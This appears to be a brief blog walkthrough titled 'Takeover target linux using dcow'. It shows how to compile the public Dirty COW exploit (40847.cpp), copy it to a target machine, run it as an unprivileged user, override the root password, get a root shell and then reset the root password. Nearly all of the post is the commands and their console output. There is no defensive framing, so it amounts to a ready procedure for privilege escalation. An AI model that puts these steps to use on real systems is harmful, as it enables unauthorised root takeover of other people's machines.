Takeover target linux using dcow

# mv 40847 40847.cpp
# g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

-copy dcow into your target linux
-login as normal user then later we will change root password
login as: user1
user1@10.0.10.31’s password:
$ bash
user1@ubuntu:~$ chmod 755 dcow
user1@ubuntu:~$ ./dcow -s
Running …
Password overridden to: dirtyCowFun
Received su prompt (Password: )
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak

root@ubuntu:~# passwd root
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s